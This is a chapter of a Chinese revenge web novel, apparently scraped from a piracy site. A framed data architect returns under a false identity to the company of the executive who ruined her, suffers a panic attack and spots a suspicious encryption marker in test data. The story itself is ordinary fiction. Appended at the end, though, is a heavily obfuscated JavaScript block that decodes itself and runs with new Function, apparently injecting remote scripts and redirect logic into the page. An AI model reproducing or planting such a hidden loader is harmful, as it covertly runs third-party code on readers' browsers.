首页
第1章:新身份,旧伤痕
返回
关灯 护眼:关 字号:小

第1章:新身份,旧伤痕

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第1章:新身份,旧伤痕(第1/2页)
    深港市,星耀集团总部大楼。
    清晨七点四十五分,玻璃幕墙反射着初升的阳光,将整栋建筑包裹在一片刺眼的光晕中。路容站在旋转门外,看着倒影里那个陌生的自己——黑框眼镜遮住了大半张脸,齐肩短发被刻意染成深棕色,一身略显保守的灰色西装套裙,手里拎着廉价的通勤包。
    镜面里的女人眼神空洞,嘴唇紧抿。
    她深吸一口气,喉咙里发出轻微的、经过变声器调整后的沙哑嗓音:“路容已死。”
    声音很轻,只有自己能听见。
    “我是若溪。”
    说完这句话,她推开了那扇通往复仇深渊的大门。
    冷气扑面而来,混合着消毒水和咖啡的复杂气味。大厅挑高近十米,大理石地面光可鉴人,前台穿着统一制服的接待员露出标准化的微笑。路容——不,现在是若溪——走向闸机,从包里掏出昨天刚办好的工牌。
    “滴。”
    闸机打开。她走进去,脚步平稳,心跳却像擂鼓。
    电梯间挤满了人,西装革履的男男女女低声交谈,手机屏幕的光映在一张张疲惫或亢奋的脸上。路容站在角落,目光扫过楼层指示牌——数据分析部在二十七楼,李剑的副总裁办公室在顶层三十八楼。
    三年前,她也曾站在类似的大厅里,穿着剪裁得体的套装,手里拿着天启科技的项目方案,被同事们称为“数据天才”。那时她二十六岁,刚从国外顶尖院校毕业回国,眼里有光,心里有火。
    然后,李剑出现了。
    电梯门打开,人群涌出。路容跟着人流走进二十七楼的开放式办公区。玻璃隔断划分出一个个工位,巨大的显示屏上滚动着实时数据流,键盘敲击声此起彼伏。这里的一切都高效、冰冷、井然有序。
    “新来的?”
    一个穿着深蓝色套装、妆容精致的女人走过来,手里拿着平板电脑。她大约四十岁,眼角有细纹,但眼神锐利得像手术刀。
    路容立刻认出她——王丽,数据分析部总监,李剑的忠实追随者。资料显示,这个女人擅长职场PUA,抢功甩锅的手段炉火纯青,是三年前那场构陷的积极参与者。
    “是,我是若溪,今天第一天报到。”路容用调整过的嗓音回答,微微低头,做出新人该有的拘谨姿态。
    王丽上下打量她,目光在她廉价的西装和黑框眼镜上停留了几秒,嘴角扯出一个似笑非笑的弧度:“跟我来。九点有新人培训,别迟到。”
    ---
    培训室在走廊尽头,能容纳二十人的小会议室已经坐了一半。路容找了个靠后的位置坐下,从包里拿出笔记本和笔。周围都是同期入职的新人,大多年轻,脸上带着初入大公司的兴奋和紧张。
    “大家好,我是王丽,数据分析部总监。”
    王丽站在投影幕布前,没有开场白,直接切入正题:“星耀集团是深港市成长最快的互联网公司,我们的核心业务是大数据分析与人工智能应用。在这里,数据就是血液,算法就是心脏。你们能坐在这里,说明通过了初步筛选,但我要提醒各位——”
    她顿了顿,目光扫过全场。
    “通过筛选,只代表你有资格参与竞争。数据分析部每年淘汰率是百分之三十。业绩不达标、团队协作差、或者……”她的视线有意无意地落在路容身上,“无法适应高强度工作节奏的,都会被清退。”
    会议室里一片寂静。
    路容低下头,在笔记本上写下“淘汰率30%”几个字,笔尖微微发颤。不是害怕,是愤怒。三年前,李剑就是用类似的语气对她说的:“路容,你很优秀,但职场有职场的规则。有些机会,需要付出代价才能得到。”
    她拒绝了。
    然后,一切都毁了。
    “接下来看第一个案例。”王丽点击遥控器,投影幕布上出现一份加密数据流的分析报告,“这是三年前某科技公司的真实案例。该公司核心数据库遭到入侵,大量用户隐私数据泄露,最终导致公司股价暴跌,核心团队解散。”
    路容的呼吸骤然一窒。
    幕布上的图表、加密算法示意图、数据流向图……每一个细节都像烧红的烙铁,狠狠烫在她的记忆里。这不是什么“某科技公司”,这就是天启科技。这就是她曾经呕心沥血构建的数据安全体系,这就是李剑用来构陷她的“证据”。
    “该案例中,泄露的数据采用了AES-256加密,但攻击者通过社会工程学手段,获取了内部人员的访问权限。”王丽的声音在耳边嗡嗡作响,“调查显示,泄密者是一名年轻的数据分析师,她利用职务之便,将加密密钥卖给了竞争对手。”
    胡说。
    全是胡说。
    路容的手指开始颤抖。她用力握紧笔,指节泛白,但颤抖无法停止。眼前的数据流图开始扭曲、旋转,变成三年前那个夜晚——警车闪烁的蓝红灯光,同事们惊疑的目光,李剑站在人群后面,脸上挂着虚伪的惋惜。
    “路容,我真没想到你会做这种事。”
    “证据确凿,你还有什么好说的?”
    “你毁了公司,也毁了自己。”
    那些声音从记忆深处涌上来,像潮水一样淹没她。喉咙发紧,胸口像被巨石压住,喘不过气。她必须离开这里,立刻,马上。
    “抱歉,”路容猛地站起来,声音因为极力压制而更加沙哑,“我去一下洗手间。”
    王丽皱了皱眉:“培训期间不要随意离场。”
    “很快回来。”路容没有看她,径直走向门口。脚步踉跄,差点撞到门框。
    走廊空无一人。她几乎是跑向洗手间,推开隔间的门,反锁,然后整个人瘫坐在马桶盖上。颤抖从手指蔓延到全身,牙齿开始打颤,喉咙里发出压抑的、动物般的呜咽。
    不能哭。
    不能出声。
    这里到处都是监控,隔音也不好。她死死咬住下唇,血腥味在口腔里弥漫,但还不够。颤抖越来越剧烈,像癫痫发作的前兆。三年前那场变故后,她患上了严重的应激障碍,医生诊断是创伤后应激障碍伴随焦虑症。高压环境、特定关键词、甚至某些气味,都可能触发症状。
    而刚才王丽展示的案例,几乎复刻了她人生中最黑暗的那个夜晚。
    路容抬起左手,将手腕塞进嘴里,用牙齿狠狠咬下去。
    疼痛尖锐而清晰,像一根针扎进神经。颤抖渐渐平息,喉咙里的呜咽被压回胸腔。她闭上眼睛,额头抵在冰冷的隔间门板上,大口呼吸。
    镜子里的人脸色惨白,黑框眼镜后的眼睛布满血丝,嘴唇被咬破渗出血珠。手腕上留下一圈深深的牙印,已经开始泛紫。
    “路容,”她对着镜子里的自己无声地说,“你不能倒在这里。”
    “你花了三年时间准备,伪造身份,学习变声,甚至去整容医院做了微调。你赌上了一切,就为了今天。”
    “李剑还在三十八楼,活得风光无限。而你,连听到一个案例都差点崩溃。”
    她打开水龙头,用冷水泼脸。冰冷的水刺激着皮肤,让混沌的大脑清醒了一些。从包里拿出粉饼,小心遮盖嘴唇上的伤口和苍白的脸色。眼镜重新戴好,整理好头发和衣领。
    镜子里又变回了“若溪”——那个平凡、拘谨、甚至有些土气的新人数据分析师。
    深呼吸三次。
    推开隔间门。
    然后,她僵住了。
    洗手台前的镜子里,映出两个人——她自己,以及站在她身后三米处的王丽。
    王丽靠在洗手间入口的墙边,双手抱胸,不知道已经站了多久。她的目光锐利得像探针,从路容湿漉漉的头发,扫到微微发红的脸颊,最后停留在她紧握的双手上。
    “若溪,”王丽开口,声音平静,却带着不容错辨的审视,“你的脸色很差。”
    路容的心脏几乎停止跳动。
    “是不适应大公司的节奏吗?”王丽向前走了一步,高跟鞋敲击瓷砖地面,发出清脆的响声,“还是说,刚才的案例……让你想起了什么?”
    空气凝固了。
    路容能听到自己血液流动的声音,能感觉到冷汗顺着脊椎滑落。王丽在试探什么?她看到了多少?听到了多少?隔间的隔音到底有多差?
    (本章未完,请点击下一页继续阅读)第1章:新身份,旧伤痕(第2/2页)
    三秒钟的沉默,像三个世纪那么长。
    然后,路容缓缓转过身,低下头,用那种新人特有的、带着怯懦和不安的语气回答:“对不起,王总监。我……我早上没吃早饭,有点低血糖。案例很震撼,我没想到真实的数据泄露后果这么严重。”
    她抬起头,努力让眼神显得真诚而惶恐:“我会尽快适应的。真的,非常抱歉耽误了培训。”
    王丽盯着她看了足足五秒。
    那五秒里,路容几乎能听到自己心跳的轰鸣。她强迫自己保持呼吸平稳,手指不要颤抖,眼神不要躲闪。这是她三年来反复练习的——如何在极度紧张的情况下,维持表面的平静。
    “低血糖?”王丽终于开口,语气缓和了一些,“公司楼下有便利店,培训结束后去买点吃的。星耀的工作强度很大,身体是革命的本钱。”
    “谢谢总监提醒。”
    “回去吧。”王丽转身走向门口,“还有二十分钟培训结束,别错过重点。”
    路容跟在她身后,脚步虚浮。走到走廊时,王丽忽然停下,回头看了她一眼:“对了,若溪。”
    “是?”
    “你的简历上写,你之前在几家小公司做过数据分析。”王丽状似随意地问,“但看你刚才的反应,还有笔试时那道加密算法的解题思路……不像新手。”
    路容的血液再次冻结。
    “我……我自学了很多。”她迅速回答,声音依旧沙哑,“之前在小公司,什么都要做,所以接触得杂。那道题是碰巧,我大学时对密码学有点兴趣。”
    “碰巧?”王丽笑了笑,那笑容里没有温度,“运气也是实力的一部分。好好干,李总很关注新人的潜力。”
    说完,她转身离开,高跟鞋的声音在走廊里渐行渐远。
    路容站在原地,直到那声音完全消失,才敢松开紧握的拳头。掌心全是冷汗,指甲在皮肤上掐出深深的印子。
    李总很关注新人的潜力。
    这句话像一句咒语,在她脑海里反复回响。是随口一提的鼓励,还是别有深意的警告?王丽到底看出了多少?刚才在洗手间,她到底听到了什么?
    路容走回培训室,在门口停顿了两秒,调整呼吸,然后推门进去。
    培训已经接近尾声。王丽正在讲星耀的企业文化:“在这里,业绩就是一切。你的代码行数、分析报告数量、项目贡献值,都会被系统量化打分。月度排名后百分之十会收到警告,连续三个月则进入淘汰观察期。”
    残酷而高效的丛林法则。
    路容坐回座位,翻开笔记本。纸页上,“淘汰率30%”那几个字旁边,她不知不觉画了一个圈,圈里写着一个名字:李剑。
    笔迹很深,几乎划破纸页。
    三年前,李剑毁了她的人生,夺走了她的事业、名誉、甚至对未来的希望。那之后,她像幽灵一样活着——不敢用真名,不敢联系旧友,不敢踏入任何一家像样的科技公司。她做过便利店收银员,送过外卖,在深夜的网吧里自学变声技巧和身份伪造技术。
    所有的一切,都是为了今天。
    为了走进这栋大楼,坐在这个位置,等待一个机会。
    一个拿到证据的机会。
    一个让李剑身败名裂的机会。
    一个夺回属于自己的一切的机会。
    培训结束的铃声响起。新人们陆续起身,低声交谈着走向门口。路容收拾好东西,最后一个离开。走到门口时,王丽叫住了她。
    “若溪,你的工位在B区27号。这是你的第一个任务。”王丽递过来一个U盘,“里面是某个边缘项目的测试数据,杂乱无章。明天下午五点前,完成初步清洗和趋势分析报告。李总可能会看。”
    路容接过U盘,指尖冰凉。
    “别让我失望。”王丽说完,转身离开。
    走廊里又只剩下路容一个人。她握着那个小小的黑色U盘,感觉它重若千钧。边缘项目的测试数据?李剑可能会看?
    这太刻意了。
    是试探,还是陷阱?或者两者都是?
    她走回办公区,找到B区27号工位。很偏僻的位置,靠近消防通道,头顶的灯光有些昏暗。她坐下,打开电脑,插入U盘。
    文件夹里确实是一堆杂乱无章的原始数据——用户行为日志、服务器错误报告、未经处理的传感器读数。但就在她快速浏览时,几行格式异常的数据跳进了视线。
    那几行数据混杂在成千上万条正常日志中,很容易被忽略。但路容一眼就认出了那个加密标记——一个特定的、非标准的十六进制前缀,后面跟着经过混淆的字符序列。
    三年前,在天启科技的核心数据库里,她见过完全相同的标记。
    那是李剑私下使用的、未经公司备案的加密协议。当年所谓的“泄密证据”中,就包含用这种协议加密的数据包。警方和公司调查组都认定,只有拥有密钥的她才能解密并泄露那些数据。
    但真相是,李剑自己就有密钥。
    路容盯着屏幕,呼吸再次变得困难。这不是巧合。王丽故意把这些数据给她,是为了测试她是否认得这个标记?还是说,李剑根本就在用星耀集团的项目做掩护,继续进行非法的数据交易?
    她闭上眼睛,强迫自己冷静。
    不能慌。现在慌,就全完了。
    她睁开眼睛,双手放在键盘上。手指依旧有些颤抖,但比刚才好多了。她开始敲击代码,一行行清洗指令在屏幕上滚动。这是她最熟悉的领域——数据。混乱的、无序的、隐藏在数字背后的真相。
    随着代码运行,杂乱的数据开始变得规整,异常值被标记,缺失值被填补。她的动作越来越快,眼神越来越专注。世界缩小到屏幕上的字符和逻辑,那些恐惧、愤怒、颤抖,暂时被隔绝在外。
    三年前,她是天启科技最年轻的数据架构师,能在七十二小时内重构整个风控模型。现在,她是若溪,一个简历平平的新人,必须小心隐藏自己的真实水平。
    但有些东西是藏不住的。
    比如直觉。比如对数据异常的天生敏感。比如看到那个加密标记时,心脏骤停般的本能反应。
    窗外的天色渐渐暗下来。办公区的人越来越少,最后只剩下她一个人。屏幕的光映在她脸上,明明灭灭。她完成了数据清洗,开始写趋势分析报告。
    在报告的“潜在风险”部分,她停顿了很久。
    然后,她用一种“新手可能犯的、但思路清奇”的语气写道:“在数据清洗过程中,发现少量格式异常日志,带有非标准加密标记。虽然数量极少,且可能只是测试残留,但建议核查其来源,以防潜在的数据污染或安全漏洞。”
    她故意用了几个不专业的术语,让整段话看起来像是新手的过度谨慎。
    点击保存。发送给王丽。
    发送成功的提示弹出来时,路容靠在椅背上,长长地吐出一口气。手腕上的牙印还在隐隐作痛,提醒她今天发生的一切都不是梦。
    她回来了。
    以幽灵的身份,踏入猎人的巢穴。
    下一步是什么?王丽会怎么看待这份报告?李剑真的会看吗?如果看,他会认出那个“新手”的提醒背后,藏着怎样的警觉吗?
    路容关掉电脑,收拾东西。走出办公区时,整层楼已经空无一人。走廊的声控灯随着她的脚步声依次亮起,又在她身后依次熄灭。
    她走到电梯间,按下下行键。
    电梯从三十八楼缓缓下降。数字跳动:38、37、36……每跳一下,路容的心就沉一分。李剑就在那层楼,就在那个可以俯瞰整个深港市的办公室里。
    电梯门打开,里面空无一人。
    她走进去,按下1楼。门缓缓关闭,镜面墙壁映出她苍白的脸。就在电梯开始下降的瞬间,她的手机震动了一下。
    是一条陌生号码发来的短信,只有一句话:
    “报告看了。明天上午九点,来我办公室一趟。——李剑”
    路容盯着那行字,手指僵硬。
    电梯继续下降,失重感包裹全身。镜子里,那个戴着黑框眼镜的女人,缓缓地、缓缓地,露出了一个冰冷到极致的微笑。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();